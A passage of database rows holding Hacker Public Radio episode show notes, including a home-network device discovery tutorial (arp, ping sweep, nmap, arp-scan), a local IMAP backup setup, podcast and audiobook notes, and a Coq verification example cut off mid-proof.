(3050,'2020-04-10','Linux Inlaws S01E04 What\'s in a name',4396,'Season 1, Episode 4. The episode where the legacy is revealed','<p>This is Linux Inlaws, a series on free and open source software, black humour, the revolution and freedom in general (this includes ideas and software) and generally having fun.</p>\r\n<p>Linux Inlaws - a podcast about on topics around free and open source software, any associated contraband, communism / the revolution in general and whatever else fancies your tickle.</p>\r\n<p>Please note that this and other episodes may contain strong language, offensive humor and other certainly not politically correct language - you have been warned (our parents insisted on this disclaimer - happy mum?). Thus the content is not suitable for consumption in the workplace (especially when played back on a speaker in an open plan office or similar environments), any minors under the age of 35 or any pets including fluffy little killer bunnies, your trusty guide dog (unless on speed) and cute t-rexes or other associated dinosaurs.</p>\r\n<p>In this show the lads Martin and Chris speak about the legacy, its name and also introduce Tech Support from the Dark Side, a new hotline helping politicians and other users in need of computer support to cope with reality.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Martin’s BBC podcast: <a href=\"https://www.bbc.co.uk/programmes/w13xttx2/episodes/downloads\" class=\"uri\">https://www.bbc.co.uk/programmes/w13xttx2/episodes/downloads</a></li>\r\n<li>Chris’ food for thought: <a href=\"https://en.wikipedia.org/wiki/Moon_landing_conspiracy_theories\" class=\"uri\">https://en.wikipedia.org/wiki/Moon_landing_conspiracy_theories</a></li>\r\n<li>Martin’s new laptop spec: <a href=\"https://www.asus.com/Laptops/ROG-Strix-SCAR-III/Tech-Specs\" class=\"uri\">https://www.asus.com/Laptops/ROG-Strix-SCAR-III/Tech-Specs</a></li>\r\n<li>Chris’ documentary: <a href=\"https://en.wikipedia.org/wiki/Terminator:_The_Sarah_Connor_Chronicles\" class=\"uri\">https://en.wikipedia.org/wiki/Terminator:_The_Sarah_Connor_Chronicles</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','linux inlaws,communism,free and open source software',0,0,1),
(3052,'2020-04-14','Locating computers on a network',1322,'Ken explains some different ways to locate computers on the network','<h1>Locating computers on a network</h1>\r\n\r\n<p>Sometimes you may wish to locate a device on your network. It might be to find rogue devices, or to locate a new device be that a printer, an Internet of Things light bulb, or whatever. In my case I was trying to track down a RaspberryPi. Raspbian now lists the IP Addresses assigned to it when it first starts, but that requires a monitor to be connected.</p>\r\n\r\n<h2 id=\"locating-using-your-router\">Locating using your router.</h2>\r\n\r\n<p>This is by far the easiest way to find a new device but it is also the most manual. If you have access to the (WiFi) Router/<a href=\"https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol\">DHCP</a> server on your network then this should be a matter of logging in and getting the address from the menu area probably called <code>Network</code> or <code>LAN</code> or something like that. So first list all the computers that are on the network. Then turn on your pi, and see if a new one has joined. If you\'re lucky it may even be labeled <em>Raspberry Pi Foundation</em>.</p>\r\n\r\n<p>In my case I want to locate these devices automatically using a script. So below we will explore some ways that you can approach the problem of locating devices on your network. All of them rely on trying to find the mapping between an Ethernet MAC Address, and a IP Address. It will help to understand a little about how Ethernet works. This is a nice short overview, <a href=\"https://www.youtube.com/watch?v=5u52wbqBgEY\">How does Ethernet work? (animated)</a> by <a href=\"https://www.youtube.com/channel/UCXkx8hX8Xo4lb7T0_-yZzVg\">Janos Pasztor</a></p>\r\n\r\n<h2 id=\"arp\">ARP</h2>\r\n\r\n<p>I don\'t know the network device you will be using so I\'d like to share a few ways of doing this using the <a href=\"https://en.wikipedia.org/wiki/Address_Resolution_Protocol\">ARP</a> protocol. This provides a mapping between a device\'s permanent <a href=\"https://en.wikipedia.org/wiki/MAC_address\">MAC address</a> and their, often temporarily, assigned <a href=\"https://en.wikipedia.org/wiki/IP_address\">IP address</a>.</p>\r\n\r\n<p>When your computer <code>192.168.1.1</code> wants to talk to another device it will need to know the Ethernet <a href=\"https://en.wikipedia.org/wiki/MAC_address\">MAC address</a> of the other device. Let\'s assume it wants to connect to the local printer <code>192.168.1.2</code> that is on the same network, and it knows its IP Address. If your computer has already heard the printer communicate on the network, it will have already added the printer\'s IP address and MAC Address to its so called ARP table. Over time older entries will be removed from this table either because they are too old, or there were too many entries.</p>\r\n\r\n<p>Linux has a command called <code>arp</code> which will show you a list of the IP addresses mapped to the MAC/HWaddress address.</p>\r\n<pre><code># arp -n\r\nAddress                  HWtype  HWaddress           Flags Mask            Iface\r\n192.168.1.254            ether   ff:ee:dd:cc:bb:aa   C                     eno1\r\n192.168.1.2              ether   00:11:22:33:44:55   C                     eno1\r\n192.168.1.1              ether   00:aa:bb:cc:dd:ee   C                     eno1\r\n</code></pre>\r\n\r\n<p>From a <a href=\"https://en.wikipedia.org/wiki/Internet_Protocol\">Internet Protocol (IP)</a> point of view all your devices in your house are probably in the same <a href=\"https://en.wikipedia.org/wiki/Subnetwork\">Subnet(work)</a>. But what if you need to communicate outside your network? For example to ping a well known server <code>8.8.8.8</code> to check if you have an Internet Connection. The IP settings also include a <a href=\"https://en.wikipedia.org/wiki/Default_gateway\">Default gateway</a> to send all traffic not intended for the local network.</p>\r\n\r\n<h2 id=\"finding-the-default-gateway\">Finding the Default gateway</h2>\r\n\r\n<p>Your computer will have many IP Addresses configured but it\'s a good bet that the network you and your new pi are on is the same one as the default gateway is on. You can find the default gateway using the following command:</p>\r\n<pre><code>$ route -n | grep -E \'Destination|^0.0.0.0\'\r\nDestination     Gateway         Genmask         Flags Metric Ref    Use Iface\r\n0.0.0.0         192.168.1.254   0.0.0.0         UG    100    0        0 eno1\r\n</code></pre>\r\n\r\n<p>It uses <code>route</code> to show the route table showing IP Addresses and not network names. The first column is <code>Destination</code> and so a <code>0.0.0.0</code> there means <em>route everything else to</em> and the <em>to</em> we get from the second column <code>Gateway</code>, which is our gateway.</p>\r\n\r\n<p>You can also get the same information using the following command:</p>\r\n<pre><code>$ ip route show | grep default\r\ndefault via 192.168.1.254 dev eno1 proto dhcp metric 100\r\n</code></pre>\r\n\r\n<p>And now to just show the IP Address.</p>\r\n\r\n<pre><code>$ route -n | awk &#39;/^0.0.0.0/ {print $2}&#39;\r\n192.168.1.254\r\n</code></pre>\r\n\r\n\r\n<p>From an Ethernet point of view it needs to find the <a href=\"https://en.wikipedia.org/wiki/MAC_address\">MAC address</a> associated with your router/default gateway\'s IP address <code>192.168.1.254</code>, so that it can send Ethernet Frames to it. In our case the address is in the ARP table, but if it wasn\'t then your computer would broadcast to everyone on the network using a special address <code>ff:ff:ff:ff:ff:ff</code>. When the router/default gateway replies that entry will be added to the ARP table.</p>\r\n\r\n<pre><code>\r\n739  5.328679069  00:aa:bb:cc:dd:ee  ff:ff:ff:ff:ff:ff  ARP  42  Who has 192.168.1.254? Tell 192.168.1.1\r\n746  5.328911559  ff:ee:dd:cc:bb:aa  00:aa:bb:cc:dd:ee  ARP  60  192.168.1.254 is at ff:ee:dd:cc:bb:aa\r\n</code></pre>\r\n\r\n<p>Have a play with <a href=\"https://www.wireshark.org/\">WireShark</a> to see what is actually going on on your network. There is a good step by step walk through on <a href=\"https://en.wikiversity.org/wiki/Wireshark/Arp\">Wireshark/Arp</a> on wikiversity.</p>\r\n\r\n<p>All RaspberryPi computers have an Ethernet <a href=\"https://en.wikipedia.org/wiki/MAC_address\">MAC address</a> starting with <a href=\"https://hwaddress.com/company/raspberry-pi-foundation\"><code>b8:27:eb</code> or <code>dc:a6:32</code></a>. So if your computer and the new pi are on the same network you can look for new MAC addresses starting with <code>b8:27:eb</code> or <code>dc:a6:32</code>.</p>\r\n\r\n<h2 id=\"foiled-by-the-switch\">Foiled by the Switch</h2>\r\n\r\n<p>All is not plain sailing as most modern <a href=\"https://en.wikipedia.org/wiki/Local_area_network\">LAN</a>\'s use <a href=\"https://en.wikipedia.org/wiki/Network_switch\">switches</a> to split up the <a href=\"https://en.wikipedia.org/wiki/Broadcast_domain#Further_explanation\">broadcast domain</a>.</p>\r\n\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/Broadcast_domain#Further_explanation\">\r\nSwitches act as buffers, receiving and analyzing the frames from each connected network segment. Frames destined for nodes connected to the originating segment are not forwarded by the switch. Frames destined for a specific node on a different segment are sent only to that segment. Only broadcast frames are forwarded to all other segments. This reduces unnecessary traffic and collisions.\r\n</blockquote>\r\n\r\n<p>What this means is that although all your computers may be on one big IP network, the devices may be connected to different switches. For example a WiFi Router downstairs, a Cabled Switch in the back room, and a network extender in the attic. All are filtering out unnecessary traffic. While that is a good thing, it does mean that it may not ever see the traffic from the new Pi.</p>\r\n\r\n<p>If we try and contact each and every IP Address on the network, that forces ARP \"Who has?\" traffic, and the answers that come back will be added to the arp table. There are a few ways to force this discovery.</p>\r\n\r\n<h2 id=\"discovery-by-ping\">Discovery by ping</h2>\r\n\r\n<p>One way to generate ARP traffic is to use the <a href=\"https://en.wikipedia.org/wiki/Ping_(networking_utility)\">ping</a> utility.</p>\r\n\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/Ping_(networking_utility)n\">\r\nPing measures the round-trip time for messages sent from the originating host to a destination computer that are echoed back to the source. The name comes from active sonar terminology that sends a pulse of sound and listens for the echo to detect objects under water.\r\n</blockquote>\r\n\r\n<p>To ping an IP Address, just type <code>ping 192.168.1.1</code>. That will send out a continuous ping which you can stop by pressing and holding the <em>ctrl</em> key and then pressing the letter <em>c</em>.</p>\r\n\r\n<pre><code>$ ping 192.168.1.1\r\nPING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.\r\n64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=0.547 ms\r\n64 bytes from 192.168.1.1: icmp_seq=2 ttl=63 time=0.493 ms\r\n64 bytes from 192.168.1.1: icmp_seq=3 ttl=63 time=0.422 ms\r\n64 bytes from 192.168.1.1: icmp_seq=4 ttl=63 time=0.466 ms\r\n^C\r\n--- 192.168.1.1 ping statistics ---\r\n4 packets transmitted, 4 received, 0% packet loss, time 3105ms\r\nrtt min/avg/max/mdev = 0.422/0.482/0.547/0.045 m\r\n</code></pre>\r\n\r\n<p>We don\'t actually care about the output, as the point here is to generate some traffic to see who is awake. So we can redirect output and errors to <a href=\"https://en.wikipedia.org/wiki/Null_device\">/dev/null</a>. So a good command to do this would be:</p>\r\n\r\n<pre><code>ping -n -c 1 -W 1 192.168.1.1 &gt;/dev/null 2&gt;&amp;1 &amp;</code></pre>\r\n\r\n<p>The options used are to limit the traffic and wait time as much as possible:</p>\r\n\r\n<pre><code>-n Numeric output only.  No attempt will be made to lookup symbolic names for host addresses.\r\n-c count. Stop after sending count ECHO_REQUEST packets. With deadline option, ping waits for count ECHO_REPLY packets, until the timeout expires.\r\n-W timeout. Time to wait for a response, in seconds. The option affects only timeout in absence of any responses, otherwise ping waits for two RTTs.\r\n</code></pre>\r\n\r\n<p>In this solution we will try and <a href=\"https://en.wikipedia.org/wiki/Ping_(networking_utility)\">ping</a> every host on the network. It would be a bit tedious to do each one by one, so we will make a script to do this for us. It\'s a very safe bet that your home network will have a private IP range of 192.168.???.0 to 192.168.???.255. This is not a safe assumption in an Office Environment but we can deal with that later.</p>\r\n\r\n<p>So we will try and find the <em>base</em> part of the subnet <code>192.168.1.1</code> which will be <code>192.168.1</code> and then we will ping each address in turn.</p>\r\n\r\n<pre><code>base=$( ip route show | awk -F &#39;\\\\.|/| &#39; &#39;/default/ {print $3&quot;.&quot;$4&quot;.&quot;$5}&#39; )\r\nfor node in {1..254}\r\ndo\r\n( ping -n -c 1 -W 1 ${base}.${node} &amp; )\r\ndone\r\n</code></pre>\r\n\r\n<p>I\'m assigning the <code>base</code> variable the first three parts of the IP Address and then I am cycling through all possible addresses sending out a <a href=\"https://en.wikipedia.org/wiki/Ping%20%28networking_utility%29\">ping</a> (a sort of hello message) to each. By wrapping the whole thing in <code>()</code> we can <em>fork</em> each to run at the same time.</p>\r\n\r\n<p>This will force some traffic between my computer and every computer on the network, which will fill up the arp table on my pc.</p>\r\n\r\n<pre><code># arp -n\r\nAddress                  HWtype  HWaddress           Flags Mask            Iface\r\n192.168.1.2              ether   00:11:22:33:44:55   C                     eno1\r\n192.168.1.1              ether   00:aa:bb:cc:dd:ee   C                     eno1\r\n192.168.1.10             ether   11:11:11:11:11:11   C                     eno1\r\n192.168.1.25             ether   22:22:22:22:22:22   C                     eno1\r\n192.168.1.3              ether   33:22:22:22:22:22   C                     eno1\r\n192.168.1.5              ether   b8:27:eb:11:11:11   C                     eno1\r\n</code></pre>\r\n\r\n<p>And now we find all the computers that are on, and responding to pings on the network. We can see that there is one that starts with <code>b8:27:eb|dc:a6:32</code>, and it has an IP Address of 192.168.1.5.</p>\r\n\r\n<pre><code># arp -n | grep -Ei &#39;b8:27:eb|dc:a6:32&#39; | awk &#39;{print $1}&#39;\r\n192.168.1.5\r\n</code></pre>\r\n\r\n<p>Putting it all together</p>\r\n\r\n<pre><code>base=$( ip route show | awk -F &#39;\\\\.|/| &#39; &#39;/default/ {print $3&quot;.&quot;$4&quot;.&quot;$5}&#39; )\r\nfor node in {1..254}\r\ndo\r\n  (ping -n -c 1 -W 1 ${base}.${node} &gt;/dev/null 2&gt;&amp;1 &amp;)\r\ndone\r\narp -n | grep -Ei &#39;b8:27:eb|dc:a6:32&#39; | awk &#39;{print $1}&#39;\r\n</code></pre>\r\n\r\n<h2 id=\"discovery-by-nmap\">Discovery by nmap</h2>\r\n\r\n<p>You should have <strong>permission in writing</strong> from your network administrator before you proceed with these steps.</p>\r\n\r\n<p>Here I am going to use some of the commands above together with the tools <a href=\"https://nmap.org/\">nmap</a> and <a href=\"https://github.com/nmav/ipcalc\">ipcalc</a> to locate and scan the network. This has the advantage of dealing with more exotic subnet masks.</p>\r\n\r\n<p>Find the default interface</p>\r\n\r\n<pre><code># route -n\r\nKernel IP routing table\r\nDestination     Gateway         Genmask         Flags Metric Ref    Use Iface\r\n0.0.0.0         192.168.1.254   0.0.0.0         UG    100    0        0 eno1\r\n....\r\n\r\n# route -n | grep -E &#39;^0.0.0.0&#39; | awk &#39;{print $8}&#39;\r\neno1\r\n</code></pre>\r\n\r\n<p>Find the ip and subnetmask for the default interface</p>\r\n<pre><code># ifconfig eno1 | grep &#39;inet &#39;\r\ninet 192.168.1.1  netmask 255.255.255.0  broadcast 192.168.1.255\r\n\r\n# ifconfig eno1 | grep &#39;inet &#39; | awk &#39;{print $2&quot;/&quot;$4}&#39;\r\n192.168.1.1/255.255.255.0\r\n</code></pre>\r\n\r\n<p>Get the network from ipcalc</p>\r\n\r\n<pre><code># ipcalc 192.168.1.1/255.255.255.0\r\nAddress:        192.168.1.1\r\nNetwork:        192.168.1.0/24\r\nNetmask:        255.255.255.0 = 24\r\nBroadcast:      192.168.1.255\r\n\r\nAddress space:  Private Use\r\nAddress class:  Class C\r\nHostMin:        192.168.1.1\r\nHostMax:        192.168.1.254\r\nHosts/Net:      254\r\n\r\n# ipcalc 192.168.1.4/255.255.255.0 | grep &#39;Network&#39; | awk &#39;{print $NF}&#39;\r\n192.168.1.0/24\r\n</code></pre>\r\n<p>Now call nmap to give the ip address and MAC address</p>\r\n<pre><code># nmap -sn 192.168.1.0/24\r\nStarting Nmap 7.40 ( https://nmap.org ) at 2017-07-05 20:57 CEST\r\nNmap scan report for 192.168.1.2\r\nHost is up (0.0012s latency).\r\nMAC Address: 00:11:22:33:44:55 (Acme industries)\r\nNmap scan report for 192.168.1.5\r\nMAC Address: b8:27:eb:11:11:11 (Raspberry Pi Foundation)\r\nNmap scan report for local.lan (192.168.1.254)\r\nHost is up.\r\nNmap done: 256 IP addresses (2 hosts up) scanned in 3.51 seconds\r\n\r\n\r\n-sn (No port scan) This option tells Nmap not to do a port scan after host discovery, and only print out the available hosts that responded to the host discovery probes. This is often known as a “ping scan”, but you can also request that traceroute and NSE host scripts be run. In previous releases of Nmap, -sn was known as -sP.\r\n</code></pre>\r\n\r\n<h2 id=\"discovery-by-arp-scan\">Discovery by arp-scan</h2>\r\n\r\n<p>By far the easiest way to do this is using the dedicated tool called <a href=\"https://github.com/royhills/arp-scan\">arp-scan</a>, (<a href=\"https://linux.die.net/man/1/arp-scan\">Man Page</a>)</p>\r\n\r\n<pre><code># arp-scan --interface eno1 --localnet --numeric --ignoredups\r\nInterface: eno1, type: EN10MB, MAC: 20:47:47:ca:24:a6, IPv4: 192.168.10.14\r\nStarting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)\r\n192.168.1.2     00:11:22:33:44:55       Acme industries\r\n192.168.1.5     dc:a6:32:22:22:22       Raspberry Pi Trading Ltd\r\n192.168.1.233   b8:27:eb:11:11:11       Raspberry Pi Foundation\r\n192.168.1.254   e4:95:6e:00:00:00       IEEE Registration Authority\r\n\r\n12 packets received by filter, 0 packets dropped by kernel\r\nEnding arp-scan 1.9.7: 256 hosts scanned in 1.939 seconds (132.03 hosts/sec). 12 responded\r\n</code></pre>\r\n\r\n<p>Whichever option you chose I hope this helps you become more familiar with your network and the way it works.</p>\r\n',30,61,0,'CC-BY-SA','arp, ethernet, ip address, dhcp, wireshark, nmap, ping, route, router, arp-scan, wikiversity',0,0,1),
(3053,'2020-04-15','AudioBookClub 17 - Blood Witness',9328,'Straight out of the Freezer, the HPR Audiobook Club reviews Blood Witness by David Hitt','<h1 id=\"in-this-episode-the-hpr-audiobook-club-discusses-the-audiobook-blood-witness-by-david-hitt\">In this episode the HPR Audiobook Club discusses the audiobook <a href=\"https://www.scribl.com/books/PA513/blood-witness\">Blood Witness</a> by David Hitt</h1>\r\n<hr />\r\n<h1 id=\"non-spoiler-thoughts\">Non-Spoiler Thoughts</h1>\r\n<hr />\r\n<ul>\r\n<li>This book may or may not be offensive to some. We discuss.</li>\r\n<li>Audio quality was generally good, very few double reads.</li>\r\n<li>Thaj is annoyed by the transition sound.</li>\r\n<li>We generally enjoyed the theme music.</li>\r\n<li>We discuss the characters that we found the most interesting.</li>\r\n<li>Lyle apologizes for being unintentionally offensive.</li>\r\n<li>How do vampires work in this book anyways ?</li>\r\n</ul>\r\n<h1 id=\"beverage-reviews\">Beverage Reviews</h1>\r\n<hr />\r\n<p>As usual, the HPR AudioBook Club took some time to review the beverages that each of us were drinking during the episode</p>\r\n<ul>\r\n<li><strong>Thaj:</strong> Water, and a bit of something different. Thaj has had a rough week so he treated himself to <a href=\"https://www.worldmarket.com/product/daelmans-dutch-caramel-waffles.do\">Daelmans Wafers</a></li>\r\n<li><strong>x1101:</strong> <a href=\"https://redhook.com/beers/redhook-ipa\">Redhook Longhammer IPA</a></li>\r\n<li><strong>pokey:</strong> Pokey’s beverage in this episode is Twisted Cabernet Savaugnon.</li>\r\n<li><strong>FiftyOneFifty:</strong> <a href=\"https://www.beeradvocate.com/beer/profile/37795/147598/\">Mike’s Hard Smashed Apple Ale</a></li>\r\n</ul>\r\n<h1 id=\"things-we-talked-about\">Things We talked about</h1>\r\n<hr />\r\n<ul>\r\n<li>Pokey thinks the ending is not strong.</li>\r\n<li>He also finds some plot holes.</li>\r\n<li>There is a big door for a sequel.</li>\r\n<li>The logistics of becoming a vampire.</li>\r\n<li>Why \"Twilight\" sucks.</li>\r\n<li>How the characters react to becoming a vampire.</li>\r\n<li>The book wasn’t as graphic as we anticipated.</li>\r\n<li>We introduce… OneFiftyOneFifty!</li>\r\n<li>Fire!!!</li>\r\n<li>Sparks vs. allsparks</li>\r\n<li>Link in the shownotes…or not.</li>\r\n<li>Do you need a \"good person\" to cheer on in a story to enjoy it?</li>\r\n<li><a href=\"https://edictzero.wordpress.com/\">Edict Zero:FIS</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=-PSP2Adz5j8\">The Lab Rats - Devil’s Train</a></li>\r\n<li><a href=\"https://monsterjavaguns.com/\">https://monsterjavaguns.com/</a></li>\r\n<li>OK, so we gave up on the book and just talked about games.</li>\r\n</ul>\r\n<h1 id=\"our-next-audiobook\">Our Next Audiobook</h1>\r\n<hr />\r\n<p><a href=\"https://startrekcontinuingmission.com/\">Star Trek: The Continuing Mission</a></p>\r\n<h1 id=\"the-next-audiobook-club-recording\">The Next Audiobook Club Recording</h1>\r\n<hr />\r\n<p>Right now we are working through a backlog of older episode that have already been recorded. Once that ends we fully anticipate recording new episodes with listener participation.</p>\r\n<h1 id=\"further-recommendations\">Further Recommendations</h1>\r\n<hr />\r\n<ul>\r\n<li><a href=\"https://play.google.com/store/apps/details?id=com.watabou.pixeldungeon&amp;hl=en\">Pixel Dungeon</a></li>\r\n<li><a href=\"https://www.canakit.com/raspberry-pi-starter-kit.html\">Raspberry Pi 2 Kit</a></li>\r\n<li><a href=\"https://news.bbcimg.co.uk/media/images/81372000/jpg/_81372893_b_ivlqbu0aesbph.jpglarge.jpg\">Dollar Nemoy</a></li>\r\n</ul>\r\n<h1 id=\"feedback\">Feedback</h1>\r\n<hr />\r\n<p>Thank you very much for listening to this episode of the HPR AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you’ll consider joining us next time we record a new episode. Please leave a few words in the episode’s comment section.</p>\r\n<p>As always; remember to visit the HPR contribution page HPR could really use your <a href=\"https://hackerpublicradio.org/help_out.php\">help</a> right now.</p>\r\n<p>Sincerely, The HPR Audiobook Club</p>\r\n<p><em>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</em></p>\r\n<h1 id=\"our-audio\">Our Audio</h1>\r\n<hr />\r\n<p>This episode was processed using <a href=\"https://audacity.sourceforge.net/\">Audacity</a>. We’ve been making small adjustments to our audio mix each month in order to get the best possible sound. Its been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it’s not good at making everyone’s voice the same volume. We’re pretty happy with the way this month’s show turned out, so we’d like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).</p>\r\n<p>We use the \"Truncate Silence\" effect with it’s default settings to minimize the silence between people speaking. When used with it’s default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.</p>\r\n<p>Next we use the \"Compressor\" effect with the following settings:</p>\r\n<pre><code>Threshold: -30db\r\nNoise Floor: -50db\r\nRatio: 3:1\r\nAttack Time: 0.2sec\r\nDecay Time: 1.0 sec</code></pre>\r\n<p>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</p>\r\n<p>After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.</p>\r\n<p>We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.</p>\r\n<p>At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file’s metadata.</p>\r\n<p>At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.</p>\r\n<p>Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.</p>\r\n',157,53,1,'CC-BY-SA','HPR Audiobook Club,Audiobooks,Horror',0,0,1),
(3060,'2020-04-24','Running a local imap server',360,'Ken installs courier-imap locally to have a local backup of his mail.','<h1 id=\"setting-up-a-local-imap-server\">Setting up a local imap server</h1>\r\n<p>To install a local imap daemon that will only listen to localhost connections, made via ssh tunneling. This is for use as a local backup of your imap files, or for keeping a remote backup somewhere.</p>\r\n<p>This is not a mail delivery solution but rather a way to keep a backup of your email using to a <code>MailDir</code> directory that you can access using your email client. As each message is stored in its own file, you can also use normal tools like <code>find|sed|awk|grep</code> to find messages.</p>\r\n<p>This setup can be installed locally or remotely on, for example, a raspberry pi. In that case you can enable a portforwarding rule in <code>~/.ssh/config</code> to include something like <code>LocalForward 127.0.0.1:2143 127.0.0.1:143</code></p>\r\n<p>Install using <code>aptitude install courier-imap courier-authdaemon</code></p>\r\n<p>You can check the status using <code>systemctl status courier-imap.service courier-authdaemon.service</code></p>\r\n<p>Edit the file <code>/etc/courier/imapd</code> and modify the following settings:</p>\r\n<p>Address to listen on, can be set to a single IP address.</p>\r\n<pre><code>    &lt; ADDRESS=0\r\n    &gt; ADDRESS=127.0.0.1\r\n</code></pre>\r\n<p>Maximum number of IMAP servers started</p>\r\n<pre><code>    &lt; MAXDAEMONS=40\r\n    &gt; MAXDAEMONS=80\r\n</code></pre>\r\n<p>Maximum number of connections to accept from the same IP address</p>\r\n<pre><code>    &lt; MAXPERIP=20\r\n    &gt; MAXPERIP=40\r\n</code></pre>\r\n<p>The following setting is optional, and causes messages from the given folder to be automatically deleted after the given number of days.</p>\r\n<pre><code>    &lt; IMAP_EMPTYTRASH=Trash:7\r\n    &gt; #IMAP_EMPTYTRASH=Trash:7\r\n</code></pre>\r\n<p>Change the directory name of the maildir directory.</p>\r\n<pre><code>    &lt; MAILDIRPATH=Maildir\r\n    &gt; MAILDIRPATH=/home/pi/MailDir\r\n</code></pre>\r\n<p>Then restart the service using <code>systemctl restart courier-imap.service courier-authdaemon.service</code>.</p>\r\n<p>When I did this I got a strange error about but installing the package <code>gamin</code> fixed it. Which is a <em>Library providing the FAM File Alteration Monitor API</em>.</p>\r\n<pre><code>  Filesystem notification initialization error -- contact your mail\r\n  administrator (check for configuration errors with the FAM/Gamin library)\r\n</code></pre>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.courier-mta.org/imap/documentation.html\">https://www.courier-mta.org/imap/documentation.html</a></li>\r\n<li><a href=\"https://www.faqforge.com/linux/fix-for-courier-imap-error-check-for-configuration-errors-with-the-famgamin-library/\">https://www.faqforge.com/linux/fix-for-courier-imap-error-check-for-configuration-errors-with-the-famgamin-library/</a></li>\r\n</ul>\r\n',30,0,0,'CC-BY-SA','courier, imap, MailDir, raspberrypi',0,0,1),
(3058,'2020-04-22','The COVID-19 Work From Home Stream - Day 3',6065,'A few HPR characters decide to spend some of their social distancing time being social','<p>Friday 2020-03-02</p>\r\n<ul>\r\n<li>A secret message left for Thaj (for the record it pronounced like the Taj in Taj Mahal)</li>\r\n<li>How do you use a bidet?</li>\r\n<li>The different ways to organize work from home</li>\r\n<li>Kids and working from home</li>\r\n<li><a href=\"https://www.youtube.com/watch?v=CdJ6VzIthRY&amp;feature=youtu.be\">Jon\'s video</a></li>\r\n<li><a href=\"https://lbry.com/\">LBRY</a></li>\r\n<li>Driving is not fun</li>\r\n<li>More ffmpeg talk</li>\r\n<li>Bidets come up again</li>\r\n<li>#oggcastplanet on Freenode</li>\r\n<li>Programming languages</li>\r\n<li>By the way...I run Arch</li>\r\n<li>Kevin Wisher and Thaj talk shop</li>\r\n<li>What is that accent?</li>\r\n</ul>\r\n',270,0,1,'CC-BY-SA','Bidets, ffmpeg, driving, Programming, Arch Linux, OggcastPlanet, education',0,0,1),
(3061,'2020-04-27','Parental Controls With Mike Ivy',2051,'We talk about Parental Controls and IOT device ','<ul>\r\n<li>Amazon free time</li>\r\n<li>Microsoft family safety live account</li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','IOT,hacking,amazon,android,firestick',0,0,1),
(3057,'2020-04-21','Formal verification with Coq',1271,'tuturto talks about formally verifying code','<p><a href=\"https://coq.inria.fr/\">Coq</a> is interactive theorem prover, which comes with its own programming language Gallina.</p>\r\n<p>If we wanted to write function that calculates resulting blood type based on two gene alleles, we could do it as following.</p>\r\n<p>Start by defining types that represents alleles and resulting blood type:</p>\r\n<pre><code>Inductive BloodTypeAllele : Type :=\r\n  | BloodTypeA\r\n  | BloodTypeB\r\n  | BloodTypeO.\r\n\r\nInductive BloodType : Type :=\r\n  | TypeA\r\n  | TypeB\r\n  | TypeAB\r\n  | TypeO.</code></pre>\r\n<p>Mapping between them is defined as follows:</p>\r\n<pre><code>Definition bloodType (a b : BloodTypeAllele) : BloodType :=\r\n  match a, b with\r\n  | BloodTypeA, BloodTypeA =&gt; TypeA\r\n  | BloodTypeA, BloodTypeO =&gt; TypeA\r\n  | BloodTypeA, BloodTypeB =&gt; TypeAB\r\n  | BloodTypeB, BloodTypeB =&gt; TypeB\r\n  | BloodTypeB, BloodTypeA =&gt; TypeAB\r\n  | BloodTypeB, BloodTypeO =&gt; TypeB\r\n  | BloodTypeO, BloodTypeA =&gt; TypeA\r\n  | BloodTypeO, BloodTypeB =&gt; TypeB\r\n  | BloodTypeO, BloodTypeO =&gt; TypeO\r\n  end.</code></pre>\r\n<p>Notice that the only way of getting <code>TypeO</code> blood is for both alleles to be <code>BloodTypeO</code>.</p>\r\n<p>We can state theorems about the code:</p>\r\n<pre><code>Theorem double_O_results_O_type :\r\n  bloodType BloodTypeO BloodTypeO = TypeO.\r\nProof.\r\n  reflexivity.\r\n  Qed.</code></pre>\r\n<p><code>double_O_results_O_type</code> states that <code>bloodType BloodTypeO BloodTypeO</code> will have value of <code>TypeO</code>. There’s also attached proof for this theorem.</p>\r\n<p>Second theorem is longer:</p>\r\n<pre><code>Theorem not_double_O_does_not_result_O_type :\r\n  forall (b1 b2 : BloodTypeAllele),\r\n  b1 &lt;&gt; BloodTypeO \\/ b2 &lt;&gt; BloodTypeO -&gt;\r\n  bloodType b1 b2 &lt;&gt; TypeO.\r\nProof.\r\n  intros.\r\n  destruct b1.\r\n  - destruct b2.\r\n    + discriminate.\r\n    + discriminate.\r\n    + discriminate.\r\n  - destruct b2.\r\n    + discriminate.\r\n    + discriminate.\r\n    + discriminate.\r\n  - destruct b2.\r\n    + discriminate.\r\n    + 